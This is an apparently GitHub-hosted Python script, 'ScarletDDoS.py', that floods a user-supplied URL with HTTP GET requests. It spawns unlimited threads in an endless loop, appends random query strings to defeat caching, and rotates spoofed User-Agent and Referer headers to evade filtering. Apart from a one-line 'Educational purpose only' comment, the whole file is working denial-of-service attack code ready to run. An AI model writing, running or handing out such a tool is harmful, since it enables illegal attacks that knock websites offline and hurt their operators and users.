-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathScarletDDoS.py
85 lines (68 loc) · 2.43 KB
/
ScarletDDoS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import os
import requests
import threading
import random
########################################
# Educational purpose only #
########################################
if os.name == 'nt':
os.system("cls")
else:
os.system("clear")
url = input("URL: ").strip()
count = 0
headers = []
referer = [
"https://google.it/",
"https://facebook.com/",
"https://duckduckgo.com/",
"https://google.com/",
"https://youtube.com",
"https://yandex.com",
]
def useragent():
global headers
headers.append("Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152)")
headers.append("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)")
headers.append("Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36")
headers.append("Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3")
headers.append("Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0")
headers.append("Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/36.0 Mobile/15E148 Safari/605.1.15")
return headers
def genstr(size):
out_str = ''
for _ in range(0, size):
code = random.randint(65, 90)
out_str += chr(code)
return out_str
class httpth1(threading.Thread):
def run(self):
global count
while True:
try:
headers={'User-Agent' : random.choice(useragent()), 'Referer' : random.choice(referer)}
randomized_url = url + "?" + genstr(random.randint(3, 10))
requests.get(randomized_url, headers=headers)
count += 1
print ("{0} ScarletDDoS Sent".format(count))
except requests.exceptions.ConnectionError:
print ("[Server might be down!]")
pass
except requests.exceptions.InvalidSchema:
print ("[URL Error]")
raise SystemExit()
except ValueError:
print ("[Check Your URL]")
raise SystemExit()
except KeyboardInterrupt:
print("[Canceled by User]")
raise SystemExit()
while True:
try:
th1 = httpth1()
th1.start()
except Exception:
pass
except KeyboardInterrupt:
exit("[Canceled By User]")
raise SystemExit()